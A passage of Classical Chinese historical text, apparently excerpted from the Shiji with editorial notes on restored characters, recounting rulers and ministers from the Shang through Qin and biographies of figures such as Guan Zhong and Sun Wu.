者在王官。勉哉勉哉。湯出。見野張網四面。祝曰。自天下四方。皆入吾網。湯曰。嘻。盡之矣。乃去其三面。祝曰。欲左。左。欲右。右。不用命。乃入吾網。諸 侯聞之曰。湯德至矣。及禽獸。當是時。夏桀爲虐政淫荒。湯乃伐桀。踐天子位。\n帝太戊立。伊陟爲相。伊陟。伊尹子也。亳有祥。桑穀共生於朝。一暮大拱。祥。妖怪也。二木合生。不恭之罰。太戊懼。問伊陟。曰。臣聞妖不勝德。帝之政。其有闕與。帝其修德。太戊從之。而祥桑枯死。殷復興。故稱中宗。\n帝辛立。天下謂之紂。帝紂資辨捷疾。聞見甚敏。材力過人。手格猛獸。智足以拒諫。飾是非之端。矜人臣以聲。以爲皆出已之下。好酒淫樂。嬖於婦人。愛妲 己。有蘇氏美女也。妲己之言是從。於是使師涓作新淫聲。北里之舞。靡靡之樂。厚賦税。以實鹿臺之錢。鹿臺。在朝歌城中也。而盈巨橋之粟。巨橋。鹿水之大橋 也。有漕粟。益收狗馬奇物。充仞宫室。益廣沙丘苑臺。沙丘。在巨鹿東北。多取野獸飛鳥置其中。慢於鬼神。以酒爲池。懸肉爲林。使男女倮。相逐其間。爲長夜 之飲。百姓怨望。而諸侯有叛者。於是紂迺重辟刑。有炮烙之法。膏銅柱。加之炭上。令有罪者行焉。輒墮炭中。妲己笑。名曰炮烙之刑也。\n以西伯昌。九侯。鄴縣有九侯城。鄂侯爲三公。九侯有好女。入之紂。九侯女不憙淫。紂怒。殺之。而醢九侯。鄂侯争之强。并脯鄂侯。西伯昌聞之竊嘆。紂囚 西伯羑里。河内湯陰有羑里城。西伯之臣閎夭之徒。求美女。奇物。善馬以獻紂。紂迺赦西伯。用費中爲政。費中善諛。好利。殷人弗親。又用惡來。善毁讒。諸侯 以此益疏。多叛紂。微子數諫不聽。迺遂去。比干强諫。紂怒。剖比干。觀其心。箕子懼。迺佯(佯原作詳)狂爲奴。紂又囚之。周武王於是遂率諸侯伐紂。紂走。 衣其寶玉衣。赴火而死。武王遂斬紂頭。懸之白旗。殺妲己。殷民大悦。\n周后稷名弃。好耕農。天下得其利。有功。封於邰。曾孫公劉修后稷之業。民賴其慶。古公復修后稷。公劉之業。積德行義。國人皆戴之。古公卒。季歷立。季 歷卒。(舊脱古公卒至季歷卒九字。補之)子昌立。是爲西伯。西伯遵后稷。公劉之業。則古公之法。敬老慈少。禮下賢者。日中不暇食以待士。士以此多歸之。諸 侯皆來决平。於是虞。芮之人有獄不能决。乃如周。入界。耕者皆讓畔。民俗皆讓長。虞。芮皆慚。俱讓而去。諸侯聞之。曰。西伯蓋受命之君也。\n武王即位。太公望爲師。周公旦爲輔。召公。畢公之徒。左右王師。修文王緒業。聞紂昏亂暴虐滋甚。於是伐紂。紂師皆倒兵以戰。武王遂入斬紂。散鹿臺之 錢。發巨橋之粟。以振貧弱。封諸侯。班賜殷之器物。縱馬於華山之陽。放牛於桃林之墟。偃干戈。振兵釋旅。入曰振旅也。示天下不復用。\n成。康之際。天下安寧。刑措四十餘年不用。措者。置也。民不犯法。無所置刑也。穆王即位。將徵犬戎。祭公謀父諫。祭。畿内之國。爲王卿士。謀父字也。 曰。不可。先王耀德不觀兵。戢而時動。動則威。觀則玩。玩則無震。震。懼也。先王之於民也。茂正其德。而厚其性。阜其財求。而利其(舊無財求而利其五字。 補之)器用。明利害之鄕。鄕。方也。以文修之。使務利而避害。懷德而畏威。故能保世以滋大。\n昔我先王世后稷。以服事虞。夏。奕世載德。不忝前人。至於文王。武王。昭前之光明。而加之以慈和。事神保民。無不欣喜。商王帝辛大惡於民。庶民不忍。 欣戴武王。以致戎于商牧。非務武也。勤恤民隱而除其害也。夫先王之制。邦内甸服。邦外侯服。侯衞賓服。此總言之也。侯。侯圻。衞。衞圻。夷蠻要服。戎狄荒 服。甸服者祭。供日祭也。侯服者祀。供月祀也。賓服者享。供時享也。要服者貢。供歲貢也。荒服者王。詩云。莫敢不來王也。日祭。月祀。時享。歲貢。終王。 先王之順祀。外傳云。先王之訓也。有不祭則修意。先修志意。以自責也。有不祀則修言。(有不祀則修言六字。補之)言。號令也(舊無注言號令也四字。補 之)。有不享則修文。文。典法也。有不貢則修名。名。謂尊卑職貢之名號也。有不王則修德。遠人不服。則修文德以來之也。序成而有不至則修刑。序成。謂上五 者次序已成。不至。則有刑罰也。於是有刑不祭。伐不祀。徵不享。讓不貢。告不王。於是有刑罰之辟。有攻伐之兵。有徵討之備。有威讓之命。有文告之辭。布令 陳辭。而有不至。則增修於德。無勤民於遠。是以近無不聽。遠無不服。今犬戎氏以其職來王。天子曰予必以不享徵之。且觀之兵。無乃廢先王之訓而幾頓乎。王遂 徵之。得四白狼。四白鹿以歸。自是荒服者不至。諸侯有不睦者。\n厲王即位。好利。近榮夷公。芮良夫諫曰。王室其將卑乎。夫榮公好專利。而不知大難。夫利。百物之所生也。天地之所載也。而有專之。其害多矣。天地百物 皆將取焉。何可專也。所怒甚多。而不備大難。以是教王。王其能久乎。夫王人者。將道利而布之上下者也。使神人百物無不得極。極。中也。猶日怵惕。懼怨之 來。今王學專利。其可乎。匹夫專利。猶謂之盗。王而行之。其歸鮮矣。榮公有有作若。用。周必敗。王不聽。卒以榮公爲卿士。用事。\n王行暴虐侈傲。國人謗王。召公諫召穆公也。曰。民不堪命矣。王怒。得衞巫。衞國之巫。使監謗者。以告則殺之。其謗鮮矣。諸侯不朝。王益嚴。國人莫敢 言。道路以目。以目相眄而巳。王喜。告召公曰。吾能弭謗矣。乃不敢言。召公曰。是鄣之也。防民之口。甚於防水。水壅而潰。傷人必多。民亦如之。是故爲水 者。决之使導。爲民者。宣之使言。故民之有口。猶土之有山川也。財用於是乎出。猶其有原隰衍沃也。衣食於是乎(舊無出猶至是乎十四字。補之)生。口之宣言 也。善敗於是乎興。夫民慮之心。而宣之口。成而行之。若壅其口。其與能幾何。王不聽。於是國莫敢出言。三年。乃相與叛。襲王。王出奔于彘。宣王即位。修 政。法文。武。成。康遺風。諸侯復宗周。\n幽王嬖愛裦姒。欲廢后。并去太子。用裦姒爲后。以其子伯服爲太子。裦姒不好笑。幽王欲其笑。萬方。故不笑。幽王爲舉烽火。諸侯悉至。至而無寇。裦姒乃 大笑。幽王欲悦之。爲數舉烽火。其後不信。益不至。王之廢后去太子也。申侯怒。乃與繪。西夷犬戎共攻王。王舉烽火徵兵。兵莫至。遂殺幽王驪山下。\n秦繆公與晋惠公合戰。爲晋軍所圍。於是岐下食善馬者三百人。馳冒晋軍解圍。遂脱繆公。而反生得晋君。初。繆公亡善馬。岐下野人共得而食之者三百餘人。 吏逐得。欲法之。繆公曰。君子不以畜産害人。吾聞食善馬肉不飲酒。傷人。乃皆賜酒而赦之。三百人者。聞秦擊晋。皆求從。從而見繆公窘。亦皆推鋒争死。以報 食馬之德。於是繆公虜晋君以歸。\n戎王使由余於秦。繆公示以宫室。積聚。由余曰。使鬼爲之。則勞神矣。使人爲之。則苦民矣。繆公怪之。問曰。中國以詩書禮樂法度爲政。然尚時亂。今戎夷 無此。何以爲治。不亦難乎。由余笑曰。此乃中國所以亂也。夫自上聖黄帝。作爲禮樂法度。身以先之。僅以小治。及其後世。日以驕淫。阻法度之威。以責督於 下。下疲極。則以仁義怨望於上。上下交争怨。而相篡弑。至於滅宗。皆以此類也。夫戎夷不然。上含淳德以遇其下。下懷忠信以事其上。一國之政。猶一身之治。 不知所以治。此真聖人之治也。於是繆公退而問内史廖曰。孤聞鄰國有聖人。敵國之憂也。今由余賢。寡人之害。將奈何。廖曰。戎王處僻匿。未聞中國之聲。君試 遺其女樂。以奪其志。爲由余請。以疏其間。君臣有間。乃可虜也。繆公曰。善。因以女樂二八遺戎王。戎王受而悦之。於是秦乃歸由余。由余數諫不聽。遂去降 秦。繆公以客禮禮之。用由余謀伐戎王。益國十二。開地千里。遂霸西戎。\n秦始皇帝。莊襄王子也。名政。二十六年。初并天下。自號曰皇帝。事皆决於法。刻削無仁恩。收天下兵。聚之咸陽。銷以爲鐘鐻。金人十二。置廷宫中。每破 諸侯。寫放其宫室。作之咸陽北坂上。在長安西北。别名渭城。南臨渭。自雍門在高陵縣以東至涇。渭。殿屋。複道。周閣相屬。所得諸侯美人。鐘鼓。以充入之。 三十二年。燕人盧生奏録圖書。曰。亡秦者胡也。胡。胡亥。秦二世名也。秦見圖書。不知此爲人名。反備北胡。始皇乃使將軍蒙恬發兵三十萬人。北擊胡。\n三十四年。始皇置酒咸陽宫。僕射周青臣曰。他時秦地不過千里。賴陛下神靈明聖。平定海内。日月所照。莫不賓服。以諸侯爲郡縣。人人自安樂。無戰争之 患。傳之萬世。自上古不及陛下威德。始皇悦。博士齊人淳于越進曰。臣聞殷。周王千餘歲。封子弟功臣。自爲枝輔。今陛下有海内。而子弟爲匹夫。卒有田常。六 卿之臣。無輔弼。何以相救哉。事不師古。而能長久者。非所聞也。今青臣又面諛。以重陛下之過。非忠臣也。始皇下其議。丞相斯曰。五帝不相復。三代不相襲。 各以治。非其相反。時變异也。今陛下創大業。建萬世之功。固非愚儒所知也。且越言。乃三代之事。何足法也。今諸生不師今而學古。以非當世。惑亂黔首。聞令 下。則各以其學議之。入則心非。出則巷議。率群下以造謗。如此弗禁。則主勢降於上。黨與成乎下。禁之便。臣請史官非秦記皆燒之。天下敢有藏詩書。百家語 者。悉詣守。尉雜燒之。有敢偶語詩書。弃市。禁民聚語。畏其謗也。以古非今者。族。吏見知不舉。與同罪。令下三十日不燒。黥爲城旦。若欲有學法令。以吏爲 師。\n三十五年。作前殿阿房。東西五百步。南北五十丈。上可以坐萬人。下可以建五丈旗。周馳爲閣道。自殿下直抵南山。表南山之顛以爲闕。爲複道。自阿房渡 渭。屬之咸陽。以象天極閣道絶漢抵營室也。隱宫徒刑者七十餘萬人。分作阿房宫。或作驪山。發北山石椁。乃寫蜀。荊地材。皆至關中。計宫三百。關外四百餘。 於是立石東海上。以爲秦東門。因徙三萬家驪邑。五萬家雲陽。皆復不事十歲。\n盧生説始皇曰。臣等求芝。奇藥。仙者。常弗遇。類物有害之者。人主所居。而人臣知之。則害於神。願上所居宫。無令人知。然後不死之藥。殆可得也。於是 始皇乃令咸陽之旁二百里内宫觀二百七十。復道。甬道相連。帷帳鐘鼓美人充之。案署不移徙。行所幸。有言其處者罪死。自是後。莫知行所在。侯生。盧生相與謀 曰。始皇爲人。天性剛戾。以爲自古莫及己。專任獄吏。獄吏得親幸。博士雖七十人。特備員弗用。樂以刑殺爲威。天下畏罪持禄。莫敢盡忠。上不聞過而日驕。下 懾伏謾欺以取容。天下之事。無小大。皆决於上。貪於權勢至如此。未可爲求仙藥。於是乃亡去。始皇聞亡。乃大怒曰。盧生等。吾尊賜之甚厚。今乃誹謗我也。諸 生在咸陽者。或爲訞言。以亂黔首。於是使御史悉案問諸生。諸生傳相告引。犯禁者四百六十餘人。皆坑之咸陽。使天下知之。以懲後。長子扶蘇諫。始皇怒。使扶 蘇北監蒙恬於上郡。\n三十六年。熒惑守心。有墜星下東郡。至地爲石。黔首或刻其石曰。始皇帝死而地分。始皇聞之。遣御史逐問。莫服。盡取石旁居人誅之。三十七年。始皇出 游。丞相斯。少子胡亥從。至平原津而病。病益甚。乃爲璽書。賜公子扶蘇曰。與喪會咸陽而葬。始皇崩。趙高乃與胡亥。李斯陰謀。更詐爲始皇遺詔。立子胡亥爲 太子。賜扶蘇。蒙恬死。\n二世皇帝元年。趙高爲郎中令。掌宫殿門户。任用事。二世與高謀曰。先帝巡行郡縣以示强。威服海内。今晏然不巡行。即見弱。無以臣畜天下。二世東行郡 縣。遵用趙高。乃陰與高謀曰。大臣不服。官吏尚强。及諸公子必與我争。爲之奈何。高曰。臣固願言。而未敢也。先帝之大臣。皆天下累世名貴人也。積功勞。世 以相傳久矣。今高素小賤。陛下幸稱舉。令在上位。管中事。大臣鞅鞅。特以貌從臣。其心實不服也。今上出。不因此時案郡縣守尉有罪者誅之。上以振威天下。下 以除上生平所不可者。今時不師文。而决於武力。願陛下遂從時無疑。即群臣不及謀矣。明主收舉餘民。賤者貴之。貧者富之。遠者近之。則上下集而國安矣。二世 曰。善。乃行誅大臣。及諸公子。以罪過連逮。無得立者。而六公子戮死於杜。群臣諫者。以爲誹謗。大吏持禄取容。黔首振恐。\n戍卒陳勝等反。山東郡縣。皆殺其守尉令丞。反以應陳涉。不可勝數也。謁者使東方來。以反者聞。二世怒。下吏。後使者至。上問。對曰。群盗。郡守尉方逐捕。今盡得。不足憂。上悦。\n三年.章邯等圍巨鹿。邯等數却。二世使人讓邯。邯使長史欣請事。趙高弗見。又弗信。欣恐。亡去。欣見邯曰。趙高用事於中。將軍有功亦誅。無功亦誅。(舊無無功亦誅四字。補之)邯等遂以兵降諸侯。\n趙高欲爲亂。恐群臣不聽。乃先設驗。持鹿獻於二世曰。馬也。二世笑曰。丞相誤耶。謂鹿爲馬。問左右。左右或言馬。以阿順趙高。或言鹿。高因陰中以法。後群臣畏高。\n高前數言關東盗無能爲。及項羽虜將王離等。自關以東。大氐盡叛。高恐二世怒。誅及其身。乃謝病不朝見。二世夢白虎齧其驂馬殺之。心不樂。怪問占夢。卜 涇水爲祟。二世乃齋望夷宫。欲祠涇。沈四白馬。使使責讓高以盗賊事。高懼。乃陰與其壻咸陽令閻樂。其弟趙成謀。使郎中令爲内應。詐爲有大賊。令樂召發吏卒 追。樂將吏卒千餘人至望夷宫。前即二世。數曰。足下驕恣。誅殺無道。天下叛足下。足下其自爲計。二世曰。丞相可得見否。樂曰。不可。二世曰。吾願得一郡爲 王。弗許。又曰。願爲萬户侯。弗許。曰。願與妻子爲黔首。比諸公子。閻樂曰。臣受命於丞相。爲天下誅足下。足下雖多言。臣不敢報。二世自殺。\n趙高乃立二世之兄子公子嬰爲秦王。令子嬰齋。當廟見。受玉璽。齋五曰。子嬰稱病不行。高自往曰。宗廟重事。王奈何不行。子嬰遂刺殺高於齋宫。三族高家。以徇咸陽。\n子嬰爲秦王四十六日。沛公破秦軍至霸上。子嬰奉天子璽符降軹道旁。諸侯兵至。項籍殺子嬰及秦諸公子宗族。遂屠咸陽。燒其宫室。虜其子女。收其珍寶貨財。諸侯共分之。\n太史公曰。秦自穆公以來。稍蠶食諸侯。竟成始皇。始皇自以爲功過五帝。地廣三王。而羞與之侔。足已不問。遂過而不變。二世受之。因而不改。暴虐以重 禍。子嬰孤立無親。危弱無輔。三主惑。而終身不悟。亡不亦宜乎。當此時也。世非無深慮知化之士也。然所以不敢盡忠拂過者。秦俗多忌諱之禁。忠言未卒於口。 而身爲戮没矣。故使天下之士。傾耳而聽。重足而立。鉗口而不言。是以三主失道。忠臣不敢諫。智士不敢謀。天下已亂。奸不上聞。豈不哀哉。先王知雍蔽之傷國 也。故置公。卿。大夫。士。以飭法設刑。而天下治。其强也。禁暴誅亂。而天下服。其弱也。五伯徵而諸侯從。其削也。内守外附。而社稷存。故秦之盛也。繁法 嚴刑而天下振。及其衰也。百姓怨而海内叛矣。故周得其道。千餘歲不絶。秦本末并失。故不長久。由此觀之。安危之統。相去遠矣。野諺曰。前事之不忘。後事之 師。是以君子爲國。觀之上古。驗之當世。參以人事。察盛衰之理。審權勢之宜。去就有序。變化應時。故曠日長久。而社稷安矣。\n秦孝公據殽。函之固。擁雍州之地。君臣固守。而窺周室。有席卷天下。包舉宇内。囊括四海之意。并吞八荒之心。當是時。商君佐之。内立法度。務耕織。修 守戰之備。外連衡而鬬諸侯。於是秦人拱手而取西河之外。惠王。武王蒙故業。因遺册。南兼漢中。西舉巴蜀。東割膏腴之地。收要害之郡。諸侯恐懼。會盟而謀弱 秦。不愛珍器重寶肥美之地。以致天下之士。合從締交。締。結也。相與爲一。\n當是時。齊有孟嘗。趙有平原。楚有春申。魏有信陵。此四君者。皆明智而忠信。寬厚而愛人。尊賢而重士。約從離衡。并韓。魏。燕。趙。宋。衞。中山之 衆。於是六國之士。有寧越。徐尚。蘇秦。杜赫之屬爲之謀。陳軫。樓緩。蘇厲。樂毅之徒通其意。吴起。孫臏。田忌。廉頗之朋制其兵。常以十倍之地。百萬之 衆。叩關而攻秦。秦人開關延敵。九國之師逡巡而不敢進。秦無亡矢遺鏃之費。而天下諸侯已困矣。於是從散約解。争割地而奉秦。秦有餘力。而制其弊。因利乘 便。宰割天下。分裂河山。强國請服。弱國入朝。\n及至秦王。續六世之餘烈。孝公。惠文王。武王。昭王。孝文王。莊襄王。振長策而御宇内。吞二周而亡諸侯。履至尊而制六合。執棰拊。拊。拍也。一作槁 樸。以鞭笞天下。威振四海。南取百越之地。北築長城。胡人不敢南下而牧馬。士不敢彎弓而報怨。於是廢先王之道。焚百家之言。以愚百姓。隳名城。殺豪俊。收 天下之兵。聚之咸陽。銷鋒鑄鐻。以爲金人十二。以弱黔首之民。然後斬華爲城。斷華山爲城也。因河爲津。據億丈之城。臨不測之谿。以爲固。良將勁弩守要害之 處。信臣精卒。陳利兵而誰何。何。猶問也。秦王之心。自以爲關中之固。金城千里。子孫帝王萬世之業也。秦王既没。餘威振殊俗。\n陳涉。罋牖繩樞之子。以繩繫户樞。瓦罋爲窗也。甿隸之人。甿。民。才能不及中人。非有仲尼。墨翟之賢。陶朱。猗頓之富。躡足行伍之間。而倔起什佰之 中。首出十長。佰長中也。率疲散之卒。將數百之衆。斬木爲兵。揭竿爲旗。天下雲集響應。贏糧而景從。山東豪俊遂并起。而亡秦族矣。\n且夫天下非小弱也。雍州之地。殽函之固自若。陳涉之位。非尊於齊。楚。韓。魏之君。鋤耰棘矜。以鋤柄及棘作矛矜也。耰。椎塊椎也。非錟於長鎩矛戟。長 刃矛也。適戍之衆。非抗於九國之師。深謀遠慮。行軍用兵之道。非及向時之士也。然而成敗异變。功業相反。試使山東之國與陳涉度長潔大。潔束之潔。比權量 力。則不可同年而語矣。然秦以區區之地。千乘之權。招八州而朝同列。百有餘年矣。然後以六合爲家。殽函爲宫。一夫作難。而七廟墮。身死人手。爲天下笑者。 仁義不施。而攻守之勢异也。\n秦兼諸侯。南面稱帝。天下之士。斐然向風。元元之民。冀得安其性命。莫不虚心而仰上。當此之時。守威定功。安危之本。在於此矣。秦王懷貪鄙之心。行自 奮之智。不信功臣。不親士民。廢王道。立私權。禁文書而酷刑法。先詐力而後仁義。以暴虐爲天下始。孤獨而有之。故其亡可立而待。借使秦王計上世之事。并殷 周之迹。以制御其政。後雖有淫驕之主。而末有傾危之患也。故三王之建天下。名號顯美。功業長久。\n今秦二世立。天下莫不引領而觀其政。夫寒者利短褐。小襦也。而飢者甘糟糠。天下之嗷嗷。斯新主之資也。此言勞民之易爲仁也。向使二世有庸主之行。而任 忠賢。臣主一心。而憂海内之患。縞素而正先帝之過。裂地分民以封功臣之後。建國立君以禮天下。虚囹圄而免刑戮。除去收帑污穢之罪。使各反其鄕里。發倉廩。 散財幣。以振孤獨窮困之士。輕賦少事。以佐百姓之急。約法省刑。以持其後。使天下之人皆得自新。更節修行。各慎其身。塞萬民之望。而以威德與天下。天下集 矣。即四海之内。皆歡然各自安樂其處。唯恐有變。雖有狡猾之民。無離上之心。則不軌之臣。無以飾其智。而暴亂之奸止矣。二世不行此術。而重之以無道。更始 作阿房之宫。繁刑嚴誅。賦斂無度。天下多事。百姓困窮。然後奸僞并起。而上下相遁。蒙罪者衆。而天下苦之。自君卿以下。至於衆庶。人懷自危之心。咸不安其 位。故易動也。是以陳涉不用湯武之賢。不藉公侯之尊。奮臂於大澤。而天下響應者。其民危也。故先王見始終之變。知存亡之機。是以牧民之道。務在安之而已。 天下雖有逆行之臣。必無響應之助矣。故曰。安民可與行義。而危民易與爲非。此之謂也。貴爲天子。富有天下。身不免於戮殺者。正傾非也。是二世之過也。\n齊(舊無齊字。補之)厘公同母弟夷仲年死。其子曰公孫無知。厘公愛之。令其秩服奉養比太子。襄公立。絀無知秩服。無知怨。數欺大臣群弟。子糾奔魯。管 仲。召忽傅之。小白奔莒。鮑叔傅之。及雍林人殺無知。高。國先陰召小白於莒。魯亦發兵送子糾。而使管仲將兵遮莒道。射中小白帶鉤。小白已立。欲殺管仲。鮑 叔曰。君將治齊。則高傒與叔牙足矣。君且欲霸王。非管夷吾不可。於是桓公厚禮以爲大夫。任政。齊人皆悦。於是始霸焉。\n管仲病。桓公問曰。群臣誰可相者。管仲曰。知臣莫如君。公曰。易牙何如。對曰。殺其子以適君。非人情也。不可。公曰。開方何如。對曰。背親以適君。非 人情也。難近。衞公子開方也。公曰。竪刁何如。對曰。自宫以適君。非人情也。難親。管仲死。而桓公不用管仲言。卒近用三子。三子專權。桓公卒。(舊無桓公 卒三字。補之)易牙與竪刁。因内寵殺群吏。群吏。諸大夫也。内寵。内官之有權寵者。而立公子無詭爲君。太子昭奔宋。桓公病。五公子各樹黨争立。及桓公卒。 宫中空。莫敢棺。桓公尸在床上六十七日。尸蟲出于户。\n周公旦者。周武王弟也。封於魯。成王使其子伯禽代就封於魯。周公戒伯禽曰。我文王之子。武王之弟。成王之叔父。我於天下亦不賤矣。然我一沐三捉髮。一飯三吐哺。起以待士。猶恐失天下之賢人。子之魯。慎無以國驕人。\n武公與長子括。少子戲朝宣王。宣王愛戲。欲立爲魯大子。仲山父諫曰。廢長立少。不順。不順。必犯王命。犯王命。必誅之。故出令不可不順也。令之不行。 政之不立。令不行。則政不立也。今天子建諸侯。立其少。是教民逆也。若魯從之。諸侯效之。王命將有所壅。言先王立長之命。將壅塞不行也。若弗從而誅之。是 自誅王命也。先王之命立長。今魯亦立長。若誅之。是自誅王命也。誅之亦失。不誅亦失。誅之誅王命。不誅則王命廢也。王其圖之。弗聽。卒立戲爲太子。是爲懿 公。括之子伯御。攻弑懿公。宣王伐魯。殺伯御。自是後。諸侯多叛王命。\n燕昭王於破燕之後即位。卑身厚幣。以招賢者。謂郭隗曰。齊因孤之國亂。而襲破燕。孤極知燕小力少。不足報。然得賢士與共國。以雪先王之耻。孤之願也。 先生視可者。得身事之。郭隗曰。王必欲致士。先從隗始。况賢於隗者。豈遠千里哉。於是昭王爲隗改築宫而師事之。樂毅自魏往。鄒衍自齊往。劇辛自趙往。士争 趨燕。燕王遂以樂毅爲上將軍。與秦。楚。三晋合謀以伐齊。齊兵敗。湣王出亡於外。燕兵獨追北。入至臨淄。盡取齊寶。燒其宫室宗廟。齊城之不下者。唯獨聊。 莒。即墨。其餘皆屬燕。昭王卒。惠王爲太子時。與樂毅有陳。及即位。疑毅。使騎劫代將。樂毅亡走趙。齊田單以即墨擊敗燕軍。騎劫死。燕兵引歸。齊悉復得其 故城。\n微子開者。紂之庶兄也。紂既立。不明。淫亂於政。微子數諫。箕子者。紂親戚也。紂爲象箸。箕子嘆曰。彼爲象箸。必爲玉杯。爲玉杯。則必思遠方珍怪之物 而御之矣。輿馬宫室之漸自此始。不可振也。紂爲淫泆。箕子諫。不聽。乃被髮詳狂。王子比干見箕子諫不聽。乃直言諫紂。紂怒曰。吾聞聖人之心有七竅。信有諸 乎。乃遂殺王子比干。刳視其心。微子曰。人臣三諫不聽。則其義可以去矣。於是遂行。周公誅武庚。乃命微子代殷後。奉其先祀曰宋。\n唐叔虞者。周成王弟也。成王與叔虞戲。削桐葉爲珪以與叔虞。曰。以此封若。史佚因請擇日立叔虞。成王曰。吾與之戲耳。史佚曰。天子無戲言。言則史書之。禮成之。樂歌之。於是遂封叔虞於唐。\n趙(舊無趙字。補之)烈侯好音。謂相國公仲連曰。寡人有愛。可以貴之乎。公仲曰。富之可。貴之則否。烈侯曰。然。夫鄭歌者槍。石二人。吾賜之田。人萬 畝。公仲曰。諾。不與。居一月。烈侯從代來。問歌者田。公仲曰。求未有可者。有頃。烈侯復問。公仲終不與。乃稱疾不朝。番吾君常山有番吾縣。自代來。謂公 仲曰。君實好善。未知所持。今公仲相趙。於今四年。亦有進士乎。公仲曰。未也。番吾君曰。牛畜。荀欣。徐越皆可。公仲乃進三人。及朝。烈侯復問。歌者田何 如。公仲曰。方使擇其善者。牛畜侍烈侯以仁義。約以王道。明日。荀欣侍以選練舉賢。任官使能。明日。徐越侍以節財儉用。察度功德。所與無不充。君悦。烈侯 使使謂相國曰。歌者之田且止。官牛畜爲師。荀欣爲中尉。徐越爲内史。賜相國衣二襲。單複具爲一襲也。\n魏文侯受子夏經藝。客段干木。過其閭。未嘗不軾也。秦嘗欲伐魏。或曰。魏君賢人是禮。國人稱仁。上下和合。未可圖也。文侯由此得譽於諸侯。文侯謂李克 曰。先生嘗教寡人曰。家貧則思良妻。國亂則思良相。今所置非成則璜。文侯弟名成也。二子何如。對曰。君不察故也。居視其所親。富視其所與。達視其所舉。窮 視其所不爲。貧視其所不取。五者足以定之矣。何待克哉。文侯曰。寡人相定矣。李克曰。魏成子爲相矣。翟璜忿然作色曰。以耳目之所睹記。臣何負於魏成子。西 河之守。臣之所進也。君内以鄴爲憂。臣進西門豹。君謀欲伐中山。臣進樂羊。中山已拔。無使守之。臣進先生。君之子無傅。臣進屈侯鮒。臣何以負於魏成子。李 克曰。且子之言克於子之君者。豈將比周以求大官哉。且子安得與魏成子比乎。魏成子以食録千鍾。什九在外。什一在内。是以東得卜子夏。田子方。段干木。此三 人者。君皆師之。子所進五人者。君皆臣之。子惡得與魏成子比也。翟璜逡巡再拜曰。璜。鄙人也。失對。願卒爲弟子矣。\n齊威王初即位。九年之間。諸侯并伐。國人不治。於是威王召即墨大夫。語之曰。自子之居即墨也。毁言日至。然吾使人視即墨。田野開。民人給。官無留事。 東方以寧。是子不事吾左右以求譽也。封之萬家。召阿大夫。語之曰。自子之守阿。譽言日聞。然使使視阿。田野不開。民貧苦。昔日趙攻甄。子弗能救。衞取薛 陵。而子弗知。是子以幣厚吾左右以求譽也。是日。烹阿大夫。及左右嘗譽者。皆并烹之。遂起兵西擊趙。衞。敗魏於濁澤。於是齊國震懼。人人不敢飾非。務盡其 誠。齊國大治。諸侯聞之。莫敢致兵於齊。\n二十四年。與魏王會田於郊。魏王問曰。王亦有寶乎。威王曰。無有。梁王曰。若寡人國小也。尚有徑寸之珠。照車前後各十二乘者十枚。奈何以萬乘之國而無 寶乎。威王曰。寡人之所以爲寶與王异。吾臣有檀子者。使守南城。則楚人不敢爲寇東取。泗上十二諸侯皆來朝。吾臣有盼子者。使守高唐。則趙人不敢東漁於河。 吾吏有黔夫者。使守徐州。則燕人祭北門。趙人祭西門。齊之北門。西門也。言燕。趙之人。畏見侵伐。故祭以求福也。徙而從者七千餘家。吾臣有種首者。使備盗 賊。則道不拾遺。將以照千里。豈特十二乘哉。梁惠王慚。不懌而去。\n記列傳(舊無史記列傳四字。加之)\n管仲夷吾者。潁上人也。少時常與鮑叔牙游。鮑叔知其賢。管仲貧困。常欺鮑叔。鮑叔終善遇之。已而鮑叔事齊公子小白。管仲事公子糾。及小白立。公子糾 死。管仲囚焉。鮑叔遂進管仲。管仲既用。任政於齊。桓公以霸。九合諸侯。壹匡天下。管仲之謀也。鮑叔既進管仲。以身下之。子孫世禄於齊。常爲名大夫。世不 多管仲之賢。而多鮑叔能知人也。\n晏平仲嬰者。萊人也。萊者。今東萊地也。事齊靈公。莊公。景公。以節儉力行重於齊。其在朝。君語及之。則危言。語不及。則危行。國有道。則順命。無 道。則衡命。以此三世顯名於諸侯。太史公曰。吾讀晏子春秋。詳哉其言之也。至其諫説犯君之顏。此所謂進思盡忠。退思補過者哉。\n韓非者。韓之諸公子也。作孤憤。五螙。内外儲。説林。説難。十餘萬言。人或傳其書至秦。秦王見之曰。嗟乎。寡人得見此人與之游。死不恨矣。秦因急攻 韓。韓王乃遣非使秦。秦王悦之。未信用。李斯。姚賈害之。毁之曰。韓非。韓之諸公子也。今王欲并諸侯。非終爲韓不爲秦。此人情也。今王不用。久留而歸之。 此自遺患也。不如以過法誅之。秦王以爲然。下吏治非。李斯使人遺非藥。使早自殺。韓非欲自陳。不得見。王後悔。使人赦之。非已死矣。\n司馬穰苴者。田完之苗裔也。齊景公時。晋伐阿。甄。而燕侵河上。齊師敗績。景公患之。晏嬰乃薦田穰苴。景公以爲將軍。將兵捍燕晋之師。穰苴曰。臣素卑 賤。君擢之閭伍之中。加之大夫之上。士卒未附。百姓不信。願得君之寵臣。國之所尊。以監軍。乃可。於是景公使莊賈往。穰苴既辭。與莊賈約曰。且日日中。會 於軍門。穰苴先馳至軍。立表下漏待賈。\n賈素驕貴。親戚左右送之。留飲。夕時乃至。穰苴曰。何後期爲。賈謝曰。大夫親戚送之。故留。穰苴曰。將受命之日。則忘其家。臨軍約束。則忘其親。援枹 鼓之急。則忘其身。今敵深侵。邦内騷動。士卒暴露於境。君寢(舊無寢字。補之)不安席。食不甘味(舊無食不甘味四字。補之)百姓之命。皆懸於君。何謂相送 乎。於是遂斬莊賈以徇。三軍之士皆振慄。然後行。士卒次舍井竈飲食。問疾醫藥。身自拊循之。悉取將軍之資糧享士卒。平分糧食。冣比其羸弱者。三日而後勒 兵。病者求行。争奮赴戰。晋師聞之。爲罷去。燕師聞之。渡易水而解。於是追擊之。遂取所亡故境而歸。立(本書立作尊)爲大司馬。\n孫武者。齊人也。以兵法見於吴王闔廬。闔廬曰。子之十三篇。吾盡觀之矣。可小試勒兵乎。對曰。可。闔廬曰。可試以婦人乎。曰。可。於是許之。出宫中美 人。得百八十人。孫子分爲二隊。以王之寵姬二人各爲隊長。令之曰。汝知而心與左右手背乎。婦人曰。知之。孫子曰。前則視心。左則視左手。右則視右手。後則 視背。婦人曰。諾。乃設鈇鉞。三令而五申之。於是鼓之右。婦人大笑。孫子曰。約束不明。申令不熟。將之罪也。復三令而五申之。鼓之左。婦人復大笑。孫子 曰。約束不明。申令不熟。將之罪也。既已明而不如法者。吏士之罪也。乃欲斬左、右隊長。吴王從臺上觀。見且斬愛姬。大駭。趣使下令曰。寡人已知將軍能用兵 